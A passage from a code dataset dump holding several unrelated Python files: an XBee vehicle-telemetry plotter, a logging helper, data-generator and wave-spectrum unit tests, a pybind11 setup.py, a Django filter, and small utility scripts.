Charge\",\"Full Pack Voltage\",\"High Temp\",\"Low Temp\",\"High Voltage\",\"Low Voltage\", \"RPM\", \"Aux Battery Voltage\",\"X Acc\",\"Y Acc\",\"Z Acc\",\"X Gyro\",\"Y Gyro\",\"Z Gyro\"]\n\thead = [\"Time\",\"State Of Charge\",\"Full Pack Voltage\",\"High Temp\",\"Low Temp\",\"High Voltage\",\"Low Voltage\", \"RPM\",\"Motor Temp\",\"Current\",\"Torque\",\"Driver Temp\",\"Aux Battery Voltage\",\"X Acc\",\"Y Acc\",\"Z Acc\",\"X Gyro\",\"Y Gyro\",\"Z Gyro\",\"Roll\",\"Pitch\"]\n\tpoints = []\n\tedgePoints = []\n\t#i=0\n\tfor row in head:\n\t\tedgePoints.append([float('inf'),float('-inf')])\n\t\tpoints.append([0])\n\t\t# print((\"{} \"+row).format(i))\n\t\t# i+=1\n\tpoints[0][0]=1\n\tprops = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n\tfig=plt.figure()\n\tax1=fig.add_subplot(3,4,5)#SOC\n\tax2=fig.add_subplot(3,3,2)#FPV\n\tax3=fig.add_subplot(3,3,3)#TEMP\n\tax4=fig.add_subplot(3,4,6)#Volt\n\tax5=fig.add_subplot(3,3,8)#Motor/MC temp #Angle , projection='polar'\n\tax6=fig.add_subplot(3,3,7)#Power #Acc\n\tax7=fig.add_subplot(3,3,9)#Aux\n\tax8=fig.add_subplot(3,2,4)#RPM\n\tax9=fig.add_subplot(3,3,1)#Torque, Current\n\tchecksum_err = 0\n\tdef animate(i):\n\t\tline_count=points[0][-1]\n\t\ttry:\n\t\t\tif len(points[0]) == len(points[1]):\n\t\t\t\tax1.clear()\n\t\t\t\tax1.plot(points[0],points[1],'k')\n\t\t\t\ttextstr = '\\n'.join(((\"Max: {}\".format(edgePoints[1][1])),(\"Min: {}\".format(edgePoints[1][0])), \"Latest: {}\".format(points[1][-1])))\n\t\t\t\tax1.set_title(head[1])#State Of Charge\n\t\t\t\tax1.text(0.02, 0.95, textstr, transform=ax1.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax1.set_ylim([0,100])\n\t\t\t\tax1.grid()\n\t\t\t\tax1.xaxis.set_visible(False)\n\t\t\t\tax1.hlines(95, line_count-200, line_count, colors='g', linestyles='dashed', label='')\n\t\t\t\tax1.hlines(30, line_count-200, line_count, colors='y', linestyles='dashed', label='')\n\t\t\t\tax1.hlines(15, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\t\telse:\n\t\t\t\tprint(\"point0:{0}\\tpoint1:{1}\".format(len(points[0]), len(points[1])))\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('first plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif len(points[0]) == len(points[2]):\n\t\t\t\tax2.clear()\n\t\t\t\tax2.plot(points[0],points[2],'g')\n\t\t\t\ttextstr = '\\n'.join(((\"Max: {}\".format(edgePoints[2][1])),(\"Min: {}\".format(edgePoints[2][0])), \"Latest: {}\".format(points[2][-1])))\n\t\t\t\tax2.set_title(head[2])#Full Pack Voltage\n\t\t\t\tax2.text(0.03, 0.95, textstr, transform=ax2.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax2.set_ylim((200,750))\n\t\t\t\tax2.grid()\n\t\t\t\tax2.xaxis.set_visible(False)\n\t\t\t\tax2.hlines(698, line_count-200, line_count, colors='b', linestyles='dashed', label='')\n\t\t\t\tax2.hlines(597, line_count-200, line_count, colors='k', linestyles='dashed', label='')\n\t\t\t\tax2.hlines(480, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('second plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[3])) and (len(points[0]) == len(points[4])):\n\t\t\t\tax3.clear()\n\t\t\t\tax3.plot(points[0],points[3],'r')\n\t\t\t\tax3.plot(points[0],points[4],'b')\n\t\t\t\ttextstr = '\\n'.join(((\"Max cell: {}\".format(points[3][-1])),(\"Min cell: {}\".format(points[4][-1]))))\n\t\t\t\tax3.set_title(\"Cell Temps\")\n\t\t\t\tax3.text(0.03, 0.95, textstr, transform=ax3.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax3.xaxis.set_visible(False)\n\t\t\t\tax3.set_ylim(20,90)\n\t\t\t\tax3.grid()\n\t\t\t\tax3.hlines(40, line_count-200, line_count, colors='g', linestyles='dashed', label='')\n\t\t\t\tax3.hlines(60, line_count-200, line_count, colors='y', linestyles='dashed', label='')\n\t\t\t\tax3.hlines(80, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('third plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[5])) and (len(points[0]) == len(points[6])):\n\t\t\t\tax4.clear()\n\t\t\t\tax4.plot(points[0],points[5],'r')\n\t\t\t\tax4.plot(points[0],points[6],'b')\n\t\t\t\ttextstr = '\\n'.join(((\"Max: {}\".format(points[5][-1])),(\"Min: {}\".format(points[6][-1]))))\n\t\t\t\tax4.set_title(\"Min/Max Cell Volts\")\n\t\t\t\tax4.text(0.03, 0.95, textstr, transform=ax4.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax4.xaxis.set_visible(False)\n\t\t\t\tax4.grid()\n\t\t\t\tax4.set_ylim(1,5)\n\t\t\t\tax4.hlines(4.2, line_count-200, line_count, colors='g', linestyles='dashed', label='')\n\t\t\t\tax4.hlines(3.8, line_count-200, line_count, colors='y', linestyles='dashed', label='')\n\t\t\t\tax4.hlines(3.0, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('fourth plot')\n\t\t\tpass\n\t\ttry:\n\t\t\tif (len(points[0]) == len(points[8])) and (len(points[0]) == len(points[11])):\n\t\t\t\tax5.cla()\n\t\t\t\tax5.plot(points[0],points[8], 'k')\n\t\t\t\tax5.plot(points[0],points[11], 'b')\n\t\t\t\ttextstr = '\\n'.join(((\"Motor Temp: {}\".format(points[8][-1])),(\"MC Temp: {}\".format(points[11][-1]))))\n\t\t\t\tax5.text(0.03, 0.95, textstr, transform=ax5.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax5.set_title(\"Motor/ Motor Controller Temp\")\n\t\t\t\tax5.grid()\n\t\t\t\tax5.set_ylim(20,180)\n\t\t\t\tax5.hlines(80, line_count-200, line_count, colors='y', linestyles='dashed', label='')\n\t\t\t\tax5.hlines(100, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\t\t\tax5.hlines(170, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\t\t\tax5.xaxis.set_visible(False)\n\t\t\t# ax5.plot([1,(points[15][-1]-180)*np.pi/180],[0, 1],'k', linewidth=5)#points[15][-1]\n\t\t\t# ax5.vlines(0, 0, 1, colors='g', linestyles='dashed', label='')\n\t\t\t# ax5.vlines(60*np.pi/180, 0, 1, colors='r', linestyles='dashed', label='')\n\t\t\t# ax5.vlines(-60*np.pi/180, 0, 1, colors='r', linestyles='dashed', label='')\n\t\t\t# if i < 10:\n\t\t\t\t# number = '0'+str(points[0][-1])\n\t\t\t# else:\n\t\t\t\t# number = str(points[15][-1]-180)\n\t\t\t# textstr = ''.join(((\"Angle: {}\".format(number))))\n\t\t\t# ax5.set_title(\"Lean Angle\")\n\t\t\t# ax5.text(215*np.pi/180, 0.85, textstr,fontsize=14, bbox=props)\n\t\t\t# ax5.set_rmax(1)\n\t\t\t# ax5.set_yticklabels([])\n\t\t\t# ax5.set_theta_zero_location('N')\n\t\t\t# ax5.set_theta_direction(-1)\n\t\t\t# ax5.set_thetamin(-90)\n\t\t\t# ax5.set_thetamax(90)\n\t\t\t# ax5.grid(True)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('fifth plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[9])) and (len(points[0]) == len(points[2])):\n\t\t\t\tax6.cla()\n\t\t\t\tpower=[a*b/1000 for a,b in zip(points[2],points[9])]\n\t\t\t\tax6.plot(points[0],power,'k')\n\t\t\t\ttextstr = ''.join(((\"Latest: {}\".format(round(power[-1],2)))))\n\t\t\t\tax6.text(0.03, 0.95, textstr, transform=ax6.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax6.set_title(\"Power\")\n\t\t\t\tax6.xaxis.set_visible(False)\n\t\t\t\tax6.grid()\n\t\t\t\tax6.set_ylim(0,160)\n\t\t\t\t#ax6.hlines(-1, -1, 1, colors='g', linestyles='dashed', label='')\n\n\t\t\t\t# ax6.cla()\n\t\t\t\t# ax6.plot(points[9][-1],points[10][-1],'go')\n\t\t\t\t# ax6.plot(points[9][-1],points[11][-1],'bo')\n\t\t\t\t# textstr = '\\n'.join(((\"Latest X: {}\".format(points[9][-1])),(\"Latest Y: {}\".format(points[10][-1])),(\"Latest Z: {}\".format(points[11][-1]))))\n\t\t\t\t# ax6.text(0.03, 0.95, textstr, transform=ax6.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\t# ax6.set_title(\"IMU Lattitude\")\n\t\t\t\t# ax6.set_xlim(-2,2)\n\t\t\t\t# ax6.set_ylim(-2,2)\n\t\t\t\t# ax6.hlines(-1, -1, 1, colors='g', linestyles='dashed', label='')\n\t\t\t\t# ax6.hlines(1, -1, 1, colors='g', linestyles='dashed', label='')\n\t\t\t\t# ax6.vlines(-1, -1, 1, colors='g', linestyles='dashed', label='')\n\t\t\t\t# ax6.vlines(1, -1, 1, colors='g', linestyles='dashed', label='')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('sixth plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[12])):\n\t\t\t\tax7.cla()\n\t\t\t\tax7.plot(points[0],points[12],'c')\n\t\t\t\ttextstr = '\\n'.join(((\"Max: {}\".format(edgePoints[12][1])),(\"Min: {}\".format(edgePoints[12][0])), \"Latest: {}\".format(points[12][-1])))\n\t\t\t\tax7.text(0.03, 0.95, textstr, transform=ax7.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax7.set_title(\"Aux Volt\")\n\t\t\t\tax7.hlines(16.8, line_count-200, line_count, colors='g', linestyles='dashed', label='')\n\t\t\t\tax7.hlines(14.5, line_count-200, line_count, colors='y', linestyles='dashed', label='')\n\t\t\t\tax7.hlines(12, line_count-200, line_count, colors='r', linestyles='dashed', label='')\n\t\t\t\tax7.set_ylim(10,18)\n\t\t\t\tax7.grid()\n\t\t\t\tax7.xaxis.set_visible(False)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('seventh plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[7])):\n\t\t\t\tax8.cla()\n\t\t\t\tax8.plot(points[0],points[7],'c')\n\t\t\t\twheelCir = 1.979 #in meters\n\t\t\t\tgearing= 55/14 #number of back sprocket teeth / front sprocket teeth\n\t\t\t\tcurSpeed = round(float(points[7][-1])/60 *wheelCir / gearing*2.23694,2) #rpm/60*wheel circum/gearing -> meters per second convert meters per second to miles per hour\n\t\t\t\tmaxSpeed = round(float(edgePoints[7][-1])/60 *wheelCir / gearing*2.23694,2)\n\t\t\t\ttextstr = '\\n'.join(((\"Max RPM: {}\".format(edgePoints[7][1])),(\"Latest RPM: {}\".format(points[7][-1])), (\"Max MPH: {}\".format(maxSpeed)), (\"Latest MPH: {}\".format(curSpeed))))\n\t\t\t\tax8.text(0.02, 0.95, textstr, transform=ax8.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax8.set_title(\"Motor RPM\")\n\t\t\t\tax8.xaxis.set_visible(False)\n\t\t\t\tax8.set_ylim(0,12000)\n\t\t\t\tax8.grid()\n\t\t\t\tax8.hlines(10000, line_count-200, line_count, colors='g', linestyles='dashed', label='')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('eigth plot')\n\t\t\tpass\n\t\ttry:\t\n\t\t\tif (len(points[0]) == len(points[9])) and (len(points[0]) == len(points[10])):\n\t\t\t\tax9.cla()\n\t\t\t\tax9.plot(points[0],points[9],'k')\n\t\t\t\tax9.plot(points[0],points[10],'g')\n\t\t\t\ttextstr = '\\n'.join(((\"Torque: {}\".format(points[10][-1])),(\"Current: {}\".format(points[9][-1]))))\n\t\t\t\tax9.text(0.03, 0.95, textstr, transform=ax9.transAxes, fontsize=14, verticalalignment='top', bbox=props)\n\t\t\t\tax9.set_title(\"Torque, Current\")\n\t\t\t\tax9.set_ylim(0,200)\n\t\t\t\tax9.grid()\n\t\t\t\tax9.xaxis.set_visible(False)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint('ninth plot')\n\t\t\tpass\n\ttry:\n\t\tdevice.open()\n\t\tdef data_receive_callback(xbee_message):\n\t\t\ttry:\n\t\t\t\tglobal count\n\t\t\t\tmessage = xbee_message.data.decode()\n\t\t\t\trow = [s.strip() for s in message.replace('\\x00','').replace('\\t','').split(',')]\n\t\t\t\t#print (row)\n\t\t\t\tif len(row) == (len(head)-1):\n\t\t\t\t\tpoints.append([])\n\t\t\t\t\tcount +=1\n\t\t\t\t\tpoints[0].append(count)\n\t\t\t\t\tfor i in range(len(row)):\n\t\t\t\t\t\tdatapoint = (float(row[i]))\n\t\t\t\t\t\tif i == 0:\n\t\t\t\t\t\t\tdatapoint = datapoint * 0.5\n\t\t\t\t\t\telif i == 1:\n\t\t\t\t\t\t\tdatapoint = datapoint * 0.1\n\t\t\t\t\t\telif i == 4 or i == 5:\n\t\t\t\t\t\t\tdatapoint = datapoint * 0.0001\n\t\t\t\t\t\tdatapoint = round(datapoint, 2)\n\t\t\t\t\t\tpoints[i+1].append(datapoint)\n\t\t\t\t\t\tpoints[i] = points[i][-200:]\n\t\t\t\t\t\tif datapoint < edgePoints[i+1][0]:\n\t\t\t\t\t\t\tedgePoints[i+1][0] = datapoint\n\t\t\t\t\t\tif datapoint > edgePoints[i+1][1]:\n\t\t\t\t\t\t\tedgePoints[i+1][1] = datapoint\n\t\t\t\telse:\n\t\t\t\t\tprint(row)\n\t\t\t\t\tprint(len(row))\n\t\t\t\t\tprint(len(head))\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\t\t\t\tprint('mesage receive')\n\t\t\t\tpass\n\t\ttry:\n\t\t\tdevice.add_data_received_callback(data_receive_callback)\n\t\texcept InvalidPacketException as e:\n\t\t\tself._log.error(\"Error processing packet '%s': %s\" % (utils.hex_to_string(raw_packet), str(e)))\n\t\t\tpass\n\t\tani = animation.FuncAnimation(fig, animate, interval=10)\n\t\tmng = plt.get_current_fig_manager()\n\t\tmng.window.state('zoomed')\n\t\tplt.show()\n\tfinally:\n\t\tif device is not None and device.is_open():\n\t\t\tdevice.close()\n\nif __name__ == '__main__':\n main()","sub_path":"xbeeDataGrapher.py","file_name":"xbeeDataGrapher.py","file_ext":"py","file_size_in_byte":11830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383159134","text":"import logging\nimport coloredlogs\n\n\ndef configure_log(args=None, loglevel=None):\n \"\"\"Configures the log output format.\n\n :param args: what argparse returned.\n :param loglevel: it must be a logging level or None.\n \"\"\"\n extra_debug_format = \"\"\n\n if not loglevel:\n if args is not None and args.verbose:\n loglevel = logging.DEBUG\n else:\n loglevel = logging.INFO\n\n if logging.DEBUG == loglevel:\n extra_debug_format = \"(%(module)s.%(funcName)s:%(lineno)d) \"\n\n log_format = \"[ %(asctime)s %(levelname)s ] \" + \\\n extra_debug_format + \"%(message)s\"\n\n logging.captureWarnings(True)\n\n coloredlogs.install(level=loglevel, fmt=log_format)\n","sub_path":"prometheus_telegram_bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"68646936","text":"# -*- encoding: utf-8 -*-\nimport pytest\nfrom slugify import slugify\nfrom imakedata.ijusthelp import rewrite_dict\nfrom imakedata.imakedata import IMakeData\n\nfrom imakedata.model.raw import ascii_lowercase_raw, ascii_uppercase_raw, academic_raw\nfrom imakedata.raw.raw import raw\n\ncomplex_string = ' '.join(raw)\n\ntransform_tester = {\n 'name': 'transform_tester',\n 'class': 'quicklist',\n 'data': [complex_string]\n}\n\n\nclass TestClass:\n\n large_number_records = 10000\n transform_maker = IMakeData(large_number_records)\n\n def test_transform_splutter(self):\n percent = 50\n target = self.large_number_records * (percent / 100)\n leeway = self.large_number_records * (10 / 100) #%\n d = self.transform_maker.get_data([\n rewrite_dict(transform_tester, {'splutter': percent})\n ])\n d_not_blank = [item for item in d if item['transform_tester']]\n assert len(d_not_blank) > (target - leeway) and len(d_not_blank) < (target + leeway)\n\n\n def test_transform_filter(self):\n no_dept = 'Business'\n d = self.transform_maker.get_data([\n academic_raw\n ])\n assert no_dept in [item['academic_raw']['department'] for item in d]\n\n d = self.transform_maker.get_data([\n rewrite_dict(academic_raw, {\n 'filters': [{ 'department': ['Arts', 'Science']},]\n })\n ])\n assert no_dept not in [item['academic_raw']['department'] for item in d]\n\n def test_transform_remove(self):\n resp = 'NOSUCHCOLUMN!'\n d = self.transform_maker.get_data([\n ascii_lowercase_raw,\n rewrite_dict(ascii_uppercase_raw, {'remove': True,})\n ])\n assert d[0].get('ascii_uppercase_raw', resp) == resp\n","sub_path":"imakedata/tests/test_options.py","file_name":"test_options.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216606298","text":"# This file is part of Discretizer.\n#\n# Copyright (c) 2017 Jan Plhak\n# https://github.com/loschmidt/discretizer\n#\n# Discretizer is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Discretizer is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Discretizer. If not, see .\n\nimport sys\nimport setuptools\nfrom setuptools.command.build_ext import build_ext\nfrom distutils.core import Extension\n\nimport discretizer\n\n\n###############################################################################\n#\n# Code adapted from pybind11 python_example project.\n#\n# This code is necessary to build the package correctly on older or special\n# distributions (e.g. Ubuntu 14.04).\n#\n# Credits: pybind11 project\n# URL: https://github.com/pybind/python_example\n#\nclass get_pybind_include(object):\n \"\"\"Helper class to determine the pybind11 include path\n The purpose of this class is to postpone importing pybind11\n until it is actually installed, so that the ``get_include()``\n method can be invoked. \"\"\"\n\n def __init__(self, user=False):\n self.user = user\n\n def __str__(self):\n import pybind11\n return pybind11.get_include(self.user)\n\n# As of Python 3.6, CCompiler has a `has_flag` method.\n# cf http://bugs.python.org/issue26689\ndef has_flag(compiler, flagname):\n \"\"\"Return a boolean indicating whether a flag name is supported on\n the specified compiler.\n \"\"\"\n import tempfile\n with tempfile.NamedTemporaryFile('w', suffix='.cpp') as f:\n f.write('int main (int argc, char **argv) { return 0; }')\n try:\n compiler.compile([f.name], extra_postargs=[flagname])\n except setuptools.distutils.errors.CompileError:\n return False\n return True\n\n\ndef cpp_flag(compiler):\n \"\"\"Return the -std=c++[11/14] compiler flag.\n The c++14 is prefered over c++11 (when it is available).\n \"\"\"\n if has_flag(compiler, '-std=c++14'):\n return '-std=c++14'\n elif has_flag(compiler, '-std=c++11'):\n return '-std=c++11'\n else:\n raise RuntimeError('Unsupported compiler -- at least C++11 support '\n 'is needed!')\n\n\nclass BuildExt(build_ext):\n \"\"\"A custom build extension for adding compiler-specific options.\"\"\"\n c_opts = {\n 'msvc': ['/EHsc'],\n 'unix': [],\n }\n\n if sys.platform == 'darwin':\n c_opts['unix'] += ['-stdlib=libc++', '-mmacosx-version-min=10.7']\n\n def build_extensions(self):\n ct = self.compiler.compiler_type\n opts = self.c_opts.get(ct, [])\n if ct == 'unix':\n opts.append('-DVERSION_INFO=\"%s\"' % self.distribution.get_version())\n opts.append(cpp_flag(self.compiler))\n if has_flag(self.compiler, '-fvisibility=hidden'):\n opts.append('-fvisibility=hidden')\n elif ct == 'msvc':\n opts.append('/DVERSION_INFO=\\\\\"%s\\\\\"' % self.distribution.get_version())\n for ext in self.extensions:\n ext.extra_compile_args = opts\n build_ext.build_extensions(self)\n#\n#\n###############################################################################\n\n\next_minball = Extension('discretizer.minball',\n sources=['ext/minball/minball.cpp'],\n depends=['ext/minball/minball.hpp'],\n libraries=['CGAL'],\n include_dirs=[\n 'ext/minball',\n get_pybind_include(),\n get_pybind_include(user=True)\n ],\n language='c++')\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"discretizer\",\n version=discretizer.__version__,\n author=\"Jan Plhak\",\n author_email=\"408420@mail.muni.cz\",\n description=\"Tool used to transform tunnel in protein to a sequence of disks\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/loschmidt/discretizer\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3 :: Only\",\n \"License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)\",\n \"Operating System :: OS Independent\",\n \"Environment :: Console\",\n ],\n install_requires=[\n 'pybind11',\n 'docopt==0.*',\n 'numpy',\n 'scipy',\n ],\n cmdclass={'build_ext': BuildExt},\n scripts=['scripts/discretizer'],\n ext_modules = [ext_minball],\n)\n","sub_path":"pypi_install_script/discretizer-1.0.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373723959","text":"from ro.models import RO\nimport django_filters\n\n\nclass RO_Filter( django_filters.FilterSet ):\n\n\t# CHOICES = [\n\t# \t('ascending', 'Ascending')\n\t# \t('descending', 'Descending')\n\t# ]\n\t# ordering = django_filters.ChoiceFilter( label='Ordering', choices=CHOICES, method='filter_by_order' )\n\n\tclass Meta:\n\t\tmodel = RO\n\t\t# fields = ['ro', 'invoice', 'vendor']\t\t# Exact\n\t\tfields = {\n\t\t\t'ro': ['icontains'],\n\t\t\t'invoice': ['icontains'],\n\t\t\t'vendor': ['icontains']\n\t\t}","sub_path":"ro/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"82103503","text":"# P423\n\nimport os\n\nimport os\n\ndef _find(path, filename):\n if os.path.isdir(path) and path:\n disk_usage(os.path.join(path, filename))\n else:\n print('参数错误,请检查')\n\ndef disk_usage(dirpath, dirnames=[], filenames=[]):\n for filename in os.listdir(dirpath):\n if os.path.isdir(os.path.join(dirpath, filename)):\n dirnames = []\n filenames = []\n dirnames.append(filename)\n for filename_1 in os.listdir(os.path.join(dirpath, filename)):\n filenames.append(filename_1)\n print(dirpath, '\\n', dirnames, '\\n',filenames)\n print('#' * 50)\n dirnames = []\n filenames = []\n else:\n filenames.append(filename)\n print(dirpath, dirnames, filenames)\n print('-' * 50)\n\nif __name__ == '__main__':\n print(disk_usage(r'C:\\Users\\admin\\Desktop\\myself\\reader\\DataStructures'))\n\n\n","sub_path":"Desktop/myself/reader/DataStructures/ex4/P423.py","file_name":"P423.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"628968214","text":"from Employee import *\nfrom LoginModule import *\n\ndef listEmployees (list):\n for i in list:\n print (i)\n\n\nlogin_msg ('info', \"Starting with a sample\")\nanEmplo = Employee ('Juan', 'Perez', 'Sales')\nanEmplo.setPiecesSold(45)\nanEmplo.calcSalary()\nanEmplo.calcTotalDiscount()\nanEmplo.calcNetSalary()\nprint (anEmplo.getObject())\n\nlogin_msg ('info', \"Starting asking the number of employees\")\nnumber = int (input(\"Ingrese el numero de empleados: \"))\nif number >= 3 and number <= 15:\n message = 'A valid number of employees was entered :'+str (number)\n login_msg('info', message)\n list = []\n for i in range (number):\n name = input (\"Name: \")\n last = input(\"Lastname: \")\n deparment = input(\"Department: \")\n anEmplo = Employee (name, last, deparment)\n if deparment == 'Factory':\n message = 'Factory employee being entered. Getting efective and defective prices'\n login_msg('debug', message)\n effective = int (input('Effective pieces: '))\n anEmplo.setEfectivePieces (effective)\n defective = int (input('Defective pieces: '))\n anEmplo.setDefec3tivePieces(defective)\n elif deparment == 'Sales':\n message = 'Sales employee being entered. Getting number of pieces sold'\n login_msg('debug', message)\n sold = int (input('Pieces sold: '))\n anEmplo.setPiecesSold (sold)\n message = 'Calculating Global Salary, Discount and NetSalay based on the department of the employee'\n login_msg('debug', message)\n anEmplo.calcSalary ()\n anEmplo.calcTotalDiscount()\n anEmplo.calcNetSalary ()\n message = 'Entering the full record to the list of employees: '+str(anEmplo.getObject())\n login_msg('debug', message)\n list.append(anEmplo.getObject())\n listEmployees(list)\n\nelse:\n print (\"Ingrese un valor entre 3 y 15\")\n exit (1)\n","sub_path":"KaterinaAnzoleaga/FinalExam/setGetEmployee.py","file_name":"setGetEmployee.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"604002440","text":"from os.path import abspath, dirname, join, isfile, normpath, relpath\nfrom pandas.testing import assert_frame_equal\nfrom numpy.testing import assert_allclose\nfrom scipy.interpolate import interp1d\nimport matplotlib.pylab as plt\nfrom datetime import datetime\nimport mhkit.wave as wave\nfrom io import StringIO\nimport pandas as pd\nimport numpy as np\nimport contextlib\nimport unittest\nimport inspect\nimport pickle\nimport json\nimport os\n\ntestdir = dirname(abspath(__file__))\ndatadir = normpath(join(testdir,relpath('../../examples/data/wave')))\n\n\nclass TestResourceSpectrum(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n omega = np.arange(0.1,3.5,0.01)\n self.f = omega/(2*np.pi)\n self.Hs = 2.5\n self.Tp = 8\n df = self.f[1] - self.f[0]\n Trep = 1/df\n self.t = np.arange(0, Trep, 0.05)\n \n @classmethod\n def tearDownClass(self):\n pass\n \n def test_pierson_moskowitz_spectrum(self):\n S = wave.resource.pierson_moskowitz_spectrum(self.f,self.Tp)\n Tp0 = wave.resource.peak_period(S).iloc[0,0]\n \n error = np.abs(self.Tp - Tp0)/self.Tp\n \n self.assertLess(error, 0.01)\n \n def test_bretschneider_spectrum(self):\n S = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs)\n Hm0 = wave.resource.significant_wave_height(S).iloc[0,0]\n Tp0 = wave.resource.peak_period(S).iloc[0,0]\n \n errorHm0 = np.abs(self.Tp - Tp0)/self.Tp\n errorTp0 = np.abs(self.Hs - Hm0)/self.Hs\n \n self.assertLess(errorHm0, 0.01)\n self.assertLess(errorTp0, 0.01)\n\n def test_surface_elevation_seed(self):\n S = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs)\n\n sig = inspect.signature(wave.resource.surface_elevation)\n seednum = sig.parameters['seed'].default\n \n eta0 = wave.resource.surface_elevation(S, self.t)\n eta1 = wave.resource.surface_elevation(S, self.t, seed=seednum) \n \n assert_frame_equal(eta0, eta1) \n\n def test_surface_elevation_phasing(self):\n S = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs)\n eta0 = wave.resource.surface_elevation(S, self.t) \n sig = inspect.signature(wave.resource.surface_elevation)\n seednum = sig.parameters['seed'].default\n np.random.seed(seednum)\n phases = np.random.rand(len(S)) * 2 * np.pi\n eta1 = wave.resource.surface_elevation(S, self.t, phases=phases)\n\n assert_frame_equal(eta0, eta1)\n\n\n def test_surface_elevation_phases_np_and_pd(self):\n S0 = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs)\n S1 = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs*1.1)\n S = pd.concat([S0, S1], axis=1)\n\n phases_np = np.random.rand(S.shape[0], S.shape[1]) * 2 * np.pi\n phases_pd = pd.DataFrame(phases_np, index=S.index, columns=S.columns)\n\n eta_np = wave.resource.surface_elevation(S, self.t, phases=phases_np)\n eta_pd = wave.resource.surface_elevation(S, self.t, phases=phases_pd)\n\n assert_frame_equal(eta_np, eta_pd)\n\n def test_surface_elevation_frequency_bins_np_and_pd(self):\n S0 = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs)\n S1 = wave.resource.bretschneider_spectrum(self.f,self.Tp,self.Hs*1.1)\n S = pd.concat([S0, S1], axis=1)\n\n eta0 = wave.resource.surface_elevation(S, self.t)\n\n f_bins_np = np.array([np.diff(S.index)[0]]*len(S))\n f_bins_pd = pd.DataFrame(f_bins_np, index=S.index, columns=['df'])\n\n eta_np = wave.resource.surface_elevation(S, self.t, frequency_bins=f_bins_np) \n eta_pd = wave.resource.surface_elevation(S, self.t, frequency_bins=f_bins_pd)\n\n assert_frame_equal(eta0, eta_np) \n assert_frame_equal(eta_np, eta_pd) \n\n def test_surface_elevation_moments(self):\n S = wave.resource.jonswap_spectrum(self.f, self.Tp, self.Hs)\n eta = wave.resource.surface_elevation(S, self.t)\n dt = self.t[1] - self.t[0]\n Sn = wave.resource.elevation_spectrum(eta, 1/dt, len(eta.values), \n detrend=False, window='boxcar',\n noverlap=0)\n\n m0 = wave.resource.frequency_moment(S,0).m0.values[0]\n m0n = 